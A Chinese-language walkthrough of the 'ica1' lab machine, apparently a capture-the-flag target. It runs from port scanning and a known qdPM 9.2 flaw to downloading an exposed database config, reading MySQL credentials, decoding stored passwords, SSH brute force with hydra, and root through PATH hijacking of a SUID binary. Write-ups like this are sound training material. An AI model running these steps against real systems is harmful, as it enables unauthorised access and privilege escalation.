ica1靶场攻略
将靶机导入xbox并设置网络为桥接模式kali也是设置为桥接模式
主机发现
使用kali扫描
靶机IP为172.16.2.62
用nmap 172.16.2.62扫描端口
发现开着22,80,3360,使用浏览器访问80端口
发现是一个登陆页面,使用dirb工具扫描网站的目录
在页面上看到是"qdPM9.2"框架
dirsearch -u 172.16.2.62:80
漏洞查询
searchsploit qdPM 9.2
发现其泄露密码信息,搜索50176.txt文件位置并查阅该文件信息
locate 50176.txt
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
50854.txt是一个CSRF(跨站请求伪造)漏洞,50176.txt是一个数据库的漏洞,想到扫描端口发现了3306端口(mysql数据库的默认端口号),猜测使用50176.txt这个文件介绍的漏洞,尝试使用wget去下载靶机上的databases.yml文件
漏洞利用
下载database.yml文件
wget http://172.16.2.62/core/config/databases.yml
cat databases.yml
发现数据库登录账户密码
username: qdpmadmin
password: UcVQCMQk2STVeS6J
连接数据库
mysql -h 172.16.2.62 -u qdpmadmin -p --skip-ssl
登陆成功使用show databases;查看数据库
分别查看qdpm staff sys三个数据库里面的数据,发现staff里面放着登陆的用户名和密码,先使用"use staff;"命令使用staff数据库,然后使用"show tables;"命令查看数据库中的表
使用"select * from login;"和"select * from user;"查看login表和user表里的的字段值
user表里面是用户名,login表里面是密码,但是密码被base64编码了,需要解码一下
使用Base64 在线编码解码 | Base64 加密解密 - Base64.us
一个一个解码
使用vim命令,将解码后的字符串放到passwd.txt里面,将user表里的用户名放到users.txt里面
利用hydra工具爆破用户名和密码(在这里爆破的是ssh协议,因为使用nmap扫描到了22号端口)
没成功后来发现用户名的首字母是大写,将用户名的首字母改成小写试了一下结果成功了
找的了两个用户,先用travis用户连接靶机(这里使用ssh连接)
ssh travis@172.16.2.62
连接成功,使用ls和cat命令查看文件
然后退出,使用dexter用户名连接靶机
使用ls和cat命令查看文件
这里需要提取,文件内容给了提示,需要使用suid提权,使用find命令找一下suid文件
find / -perm -u=s 2>/dev/null
查看/opt/get_access程序,发现里面的命令cat /root/system.info可以利用。如果伪造系统命令cat,里面包含提权命令,那么当普通用户执行/opt/get_access程序时,就会以属主的root权限执行假cat命令里的提权命令,从而让普通用户提权获得root权限。
查看/opt/get_access程序,发现里面的命令cat /root/system.info可以利用。如果伪造系统命令cat,里面包含提权命令,那么当普通用户执行/opt/get_access程序时,就会以属主的root权限执行假cat命令里的提权命令,从而让普通用户提权获得root权限
以root权限执行了cat命令,现在可以创建一个cat可执行文件,里面写/bin/bash,赋给cat执行的权限,并配置环境变量,当get_access程序执行到cat命令的时候就会执行伪造的cat程序,从而得到root权限
echo "/bin/bash" > /tmp/cat
chmod +x /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
/opt/get_access
进入root目录,查看root.txt文件,这里我使用的是tac命令查看的root.txt文件,因为使用cat命令,会直接执行我们伪造的cat程序,所有我使用的是tac命令,也可以将我们伪造的cat程序删除,就可以使用cat命令执行了